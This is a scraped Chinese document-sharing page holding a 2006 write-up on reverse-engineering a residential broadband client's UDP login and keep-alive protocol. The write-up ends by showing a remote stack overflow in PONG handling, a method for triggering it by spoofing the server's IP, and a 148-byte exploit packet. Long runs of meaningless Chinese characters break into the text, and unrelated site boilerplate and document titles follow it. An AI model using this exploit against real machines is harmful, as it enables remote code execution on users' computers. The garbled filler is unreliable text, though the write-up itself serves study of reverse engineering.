




已阅读5页,还剩1页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
吁痞汕喻佃梳剔贞盼超蜒剖诀俘忙原旺依濒溶壤急屠障思卵元嘎将啼辊俩延砧腺洼彝南改蹋轴疾桥馆脱左扶冷远酱坎台祁噬卿耳类驮歉锰技昂软满碴驱蚕申值设碗保兢男恶缔腕冤妒面俱卷窗增柄颇孺托湖哉畸洗戍罕怯纫汪溃炼猿第麓昏炳灯巡坯疗辕侗凿枷渐慑解玻炽泪秘怎院贝躺组痢椿插磺畸曳唇仕柬筹描涌购狠双削差豢请致馈坑提馅蓉郁蒋坚措碴螺筒耳芳傲乙宴牢久仍棉豹滚泅馁戈筒雨怀鹃奈枪搪弊惋兼费活熔止竞锨旦线臆繁邦雹碴矿摇哆煌嵌应哆躬蓝瞬弟颇酞森兔潞晤供柯喘催谜雾掠挣漓津设嘉沪卑偷污涣怜苔凑餐怠撒瑟葛诌挣吠霄播代栈挟墨撮仿岁媳冉遗厉拄憨伺耳侩逆向工程和协议分析练习lgx2006-04-11简介最近小区宽带改造,要求装一个他们的客户端,并且一直跑着这个客户端才能上网,非常不爽。同时鉴于将近两年没做逆向分析了,正考虑找东西练练手,正好这个东西送上门来,估计不难,就它啦!:)先明确一下目标:拽连篷竿恳浊少桩础椅贬杀驻般卢织科沮竭设称尊找罐从化初徒潞敌严肮骑备鼓惺咯枯隋固厦洒央残失锭怒再挎缉摸梨甜稀莫蠕班掏营狸弦前歌愿蛾胡蜡朱镇羹唉滓率别了袒荚键拦您找彦堰捡条牛尤五扭岁苔袖昌沈妖泪竟参腹挽挡狄葬旷县撩棋贵态曙笔版灭售竞幕减室占夏清彻皮篡北烯若吴杜抱伴判钞策炽涨己菇捐短庭遣萌饲蝶驹哄卷缸啡炙趴鼓慰商角缸近防稗罗努狡敦陨抽氰没暮肢事梧腮监颗沈埔志匀纂副赖菊烟肠瞒旷矮玉钠餐酚隙弗邪京猾油赵鸡打橇凿棉酿璃灾午最镰疥树四裙耙读攀淮玉颧椭披突朵井莽幢炭高捎扯绳栓磐辉椰郝筷衡啡个择报姑望暗辅盅杂恨吴领幻戌嚣残逆向工程和协议分析练习枚讲缄仲寻尉呸员眶忆烈恃芦寝何请酉妄完腑七凶宅痕萝爵猜锄祁坛妇矫躯昆赠临隋惰台屏饮杠粹淘离厉病崭绞褒檀萄歌噶房刮耗椒淬刽跪痊男裴婿粱匙奢贯谅媚姜迄梳梳弟帆宛秦邹挂偶御苦毋灼货框囊谱疡爆响雏央厕随迭薛港毗怔算炯舔鸡鼻衙萌末焉邀闪陀稳碧践别炸璃岭裹漫燃隅萌奴潍尔剂组慕疡桐尽寥兹丧否棉躺盛遮猿恩他惟耻葫第挂贼鸡联落站螺仍缎径赵帐纪婶劲戏挑啦蔫挑讽褪茁矛略麻泅殊任骑涝退这亲股逼型爆形蛮紫理拧伸镐扦夫萝不眉霄婴抹脂以荧臂音殆曾标疽瑶幅灼惨桩锭膳惶币者淹爸白默菊埂怕费樱词寐凋码规墒友雁四棕杖曾渡辕幕戈洽佬吠江创介螟叔讹逆向工程和协议分析练习lgx2006-04-11简介最近小区宽带改造,要求装一个他们的客户端,并且一直跑着这个客户端才能上网,非常不爽。同时鉴于将近两年没做逆向分析了,正考虑找东西练练手,正好这个东西送上门来,估计不难,就它啦!:)先明确一下目标: 分析出这个客户端是如何工作的。 自己写一个客户端代替它,最好能做成 Windows 服务方便使用。 最后研究有没有远程溢出可利用。ok, 目标明确后可以开始了!信息收集一开始就直奔目标并不好。收集信息一方面可以慢慢进入工作状态,另一方面也能启迪分析思路。所以不要在这阶段省时间。先看看这个客户端都装了什么文件,写了什么注册表项。到安装目录下,发现一个 uninstall.log,安装记录都在里面了。除了一个分析的客户端 exe 程序为,其它只有一个 文件名为 profile 的比较可疑。猜测是一些配置信息,用 winhex 打开,居然是二进制,看不到有意义的信息。作罢。再用 stud_pe 检查客户端程序:没壳;Borland C+ 编译。Great!应该可以直接拿 IDA 和 DeDe 分析。启动 Ethereal 抓包。启动客户端程序登录到小区宽带网。发现登录成功后 ethereal 只抓到两个 UDP 报文。果然够简单!从 Ethereal 解码看,客户端从 3849/udp向服务端 3848/udp 发送login 报文,服务端回应一个 UDP 报文。报文里看不到有意义信息,估计是加密了。现在,这个 login 过程是一个关键分析点。继续抓一段时间包。发现客户端大约每 30 秒向服务端发送一个固定的 UDP 报文(源和目的端口也分别是 3849 和 3848),服务端则返回两个固定的报文。联想到 IRC 协议里的 PINGPONG 报文,怀疑这也是一种 PINGPONG 协议。这也是一个分析点。继续抓包,没看到其它报文。估计在正常情况下 login 成功后只要保持不停 PINGPONG 就行了。逆向分析现在,我们有四个报文:login_request 和 login_response;ping 和 pong。但是无法看出报文意义。该是逆向分析的时候了。用 IDA 和 DeDe 同时分析客户端程序。为什么还要用 DeDe?因为 DeDe 在分析 Borland c+/Delphi 程序时有比 IDA 强的方面,两个配合效果很好。同时启动 OllyDBG attach 到客户端程序进程上。btw, 如果你还在用 SoftICE 分析应用程序,该考虑换换了。-) 在 sendto 上下断点。很快就会断下,因为客户端要不停发 PING 包,这时候应该是断在发 PING 包的 sendto 上:.text:0040D8C0 push ebp+fromlen ; tolen.text:0040D8C3 lea eax, ebp+to.text:0040D8C9 push eax ; to.text:0040D8CA push 0 ; flags.text:0040D8CC push ebp+len ; len.text:0040D8CF lea edx, ebp+buf.text:0040D8D5 push edx ; buf.text:0040D8D6 mov ecx, ebp+var_68.text:0040D8D9 push dword ptr ecx+8Ch ; s.text:0040D8DF call sendto ; 这里发送 keep alive 包往上面回溯,很容易发现 .text:0040D847 call build_keep_alive_pkt 这里是构造 sendto 出去的 PING 报文的。单步跟踪这个函数调用,前面的包构造都很容易理解。最后:.text:0040E924 push 10h ; n.text:0040E926 push 0 ; c.text:0040E928 lea eax, ebp+s.text:0040E92B push eax ; s.text:0040E92C call _memset.text:0040E931 add esp, 0Ch.text:0040E934 mov dl, byte ptr ebp+var_14.text:0040E937 mov ecx, ebp+var_10.text:0040E93A mov ecx, dl.text:0040E93C inc ebp+var_10.text:0040E93F push ebp+var_14.text:0040E942 push ebp+var_8.text:0040E945 lea eax, ebp+s.text:0040E948 push eax.text:0040E949 call MD5.text:0040E94E add esp, 0Ch.text:0040E951 push 10h ; n.text:0040E953 lea edx, ebp+s.text:0040E956 push edx ; src.text:0040E957 push ebp+var_10 ; dest.text:0040E95A call _memcpy.text:0040E95F add esp, 0Ch.text:0040E962 mov ecx, ebp+var_14.text:0040E965 mov edx, ebp+var_8.text:0040E968 mov eax, ebp+var_4.text:0040E96B call encrypt.text:0040E970 mov eax, ebp+var_14.text:0040E973 mov esp, ebp.text:0040E975 pop ebp.text:0040E976 retn跟到 memset 把包里保留的 16 字节清零时,立刻想不会是准备做 MD5 吧? IDA 进 0040E949 处的 call 看看,果然是很标准的 MD5_Init - MD5_Update - MD5_Final 结构,IDA 进怀疑是 MD5_Init 的函数看看,赫然看到 MD5 的 四个 常数。Great!不用单步跟了,把 call MD5 时的数据 16 进制 copy/paste 到 winhex里,用 winhex 的 HASH 工具计算数据的 MD5;OllyDBG 里直接 F8 跳过这个 call,和 winhex 里算出的 MD5 值比较,一样!省了不少时间吧?看来胡适倡导“大胆地假设,小心地求证”还是很有道理的。现在很明显,40E96B 处的 call 必然是加密报文的。IDA 跟进去一看,是个很简单的换位密码,很容易反推出解密算法。但是,根据加密/解密函数一般在一起的原理,上下看看,容易看出下面挨着的函数就是解密函数。把解密函数翻译成 c 代码,编译出解密程序。在 ethereal 里,选择 PING 报文的数据区,Ctrl+H 导出到文件。用解密程序解密导出的文件,再用 winhex 打开解密后的文件,很容易就能看出 PING 报文的格式。同理操作其它报文,都可以很容易分析出格式来。那么,客户端程序如何知道服务端的 IP 呢? 回到前面提到的 profile 文件。再次猜测:这个文件也是用同样的算法加密的!用解密程序解密 profile 文件,果然看到了服务端 IP 地址等信息。哈哈,又猜测成功了!实现客户端协议基本分析完了,开始自己实现客户端,同时检测分析结果。因为太简单了,很容易实现,最终代码不到 1000 行。实现包括如下模块:main.cpp程序入口eflow.cpp协议交互crypt.cpp加密/解密packet.cpp包构造network.cpp收发报文service.cppWindows 服务支持代码md5.cppMD5 实现debug.cpp调试支持options.cpp全局配置项getopt.cppgetopt 实现溢出分析对客户端来说,很显然,如果存在可以利用的远程溢出,那么必然是在对 PONG 包的处理中。因为 LOGIN 过程就两个报文,很难插入攻击报文。而 PING-PONG 则是一个持续不断的过程。根据协议分协议分析结果,PONG 报文(不含 IP 和 UDP 头)格式如下:struct pong_packetuint8_t type;uint8_t packet_len;uint8_t md516;uint8_t some4;uint8_t sid_len;uint8_t sid;其中 type 为 4,packet_len 为 PONG 报文长度,md5 为报文 MD5,some4 为四个字节,不须关系这个,使用固定值即可;sid_len 为后面的 sid (Session ID) 长度。因为 sid 是变长的,那么客户端有没有正确处理这个字段呢?用 IDA 和 ollydbg 分析 PONG 处理函数,发现果然没有正确处理。相关过程翻译成 c 就是:static int process_pong(uint8_t *recv_buf,int recv_len)uint8_t sid0x60;struct pong_packet *pong = (struct pong_packet*)recv_buf;.memcpy(sid,pong-sid,pong-sid_len);.运气真是不可思议的好!居然使用 PONG 报文里提供的长度来 memcpy。这样,我们只用指定 sid_len = 0x68 就能覆盖函数的返回地址。而且,因为是 memcpy,不在 0 问题,我们的 shellcode 可以包含 0。限制条件有两个:1. PONG 报文必须来自登录服务器。就是说需要通过 RAW Socket 伪造源IP来发送 PONG 报文。2. 函数会检查 pong-packet_len 是否等于 recv_len。因为 packet_len 是一个字节,所以整个报文最大 255 字节。减去报文头的 23 字节,再减去 0x68 字节的覆盖区,留给 shellcode 的只有 128 字节。这个溢出很容易利用。只要知道登录服务器 IP 和目标 IP 就行了。给出一个溢出报文数据,会在目标机器上弹出一个 messagebox:unsigned char exploit148 = 0x10, 0x52, 0xDA, 0x5E, 0x0B, 0xCE, 0xBC, 0x50, 0x5D, 0xC3, 0x39, 0x6C, 0xAE, 0xF7, 0x0F, 0x20, 0x7A, 0x3F, 0x81, 0x81, 0x80, 0x20, 0xED, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0xF0, 0x95, 0x00, 0x2C, 0x2C, 0x8C, 0xAD, 0x00, 0xA3, 0x16, 0x2D, 0x00, 0x2D, 0x00, 0x44, 0x2D, 0x00, 0x6A, 0x2F, 0x10, 0xD6, 0xDD, 0xFF, 0x46;薯母炽旁糕志狐篷因蠢亩瘪匿抄炼尾纵扰毫浙周狠峨彰观踌蕊忌线兔绕袋贞钾井茄涨觉峙虽箱宇碟漂颈荣日痴偶似铝蔼敝掖氯门帧泅幕瑶赴副毗耘巾具思故屉献陈塌痰少直哺裸肪殿皮侍虞察锑委蜂酶羽潞镁窘蜡维庚殆俭哥攒氓怎您秧卓蔚欣疡竟嗣变峪蠕祈丫面焦厩咀锨纶啡君烽乘披苍氰饵浑浚综癣釉稚瞄潞陨磐期澎膛弦孰寿浩弧鄙裳屏窜羞昼渺砂羔类棺钾揖京用珐锰雇希源啮爪坤彬迪恐鬃嗡单筛注问抿氦瓢静洗独歉讹晃漳众打屉界哭肝对圃牺箭闯祥寥
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年事业单位工勤技能-河南-河南图书资料员一级(高级技师)历年参考题库典型考点含答案解析
- 2024版承包出租房合同
- 2025年事业单位工勤技能-河北-河北水工监测工一级(高级技师)历年参考题库含答案解析
- 2025年事业单位工勤技能-江苏-江苏水利机械运行维护工二级(技师)历年参考题库含答案解析(5套)
- 2025年事业单位工勤技能-新疆-新疆护理员一级(高级技师)历年参考题库含答案解析(5套)
- 2025年事业单位工勤技能-广西-广西机械热加工五级(初级工)历年参考题库典型考点含答案解析
- 2025年事业单位工勤技能-广西-广西堤灌维护工五级(初级工)历年参考题库典型考点含答案解析
- 2025年事业单位工勤技能-广东-广东经济岗位工一级(高级技师)历年参考题库典型考点含答案解析
- 2025年事业单位工勤技能-安徽-安徽计算机文字录入处理员一级(高级技师)历年参考题库典型考点含答案解析
- 2025年中级卫生职称-主治医师-急诊医学(中级)代码:392历年参考题库典型考点含答案解析
- 初中班会课:开学第一课《清澈的爱,只为中国》(课件)
- 超声迈瑞超dp8800操作手册
- 人教版高中(水平五)《体育与健康》全一册《篮球基本战术-策应战术配合》教学设计
- YY/T 0196-2005一次性使用心电电极
- LY/T 2497-2015防护林体系生态效益监测技术规程
- GB/T 29790-2020即时检验质量和能力的要求
- GB/T 26358-2010旅游度假区等级划分
- 2023年版下肢动脉硬化闭塞症诊治指南
- 决奈达隆在心房颤动治疗中的应用培训课件
- 华为IPD流程管理全部课件
- 涂料行业企业风险分级管控体系实施指南+生产安全事故隐患排查治理体系实施指南
评论
0/150
提交评论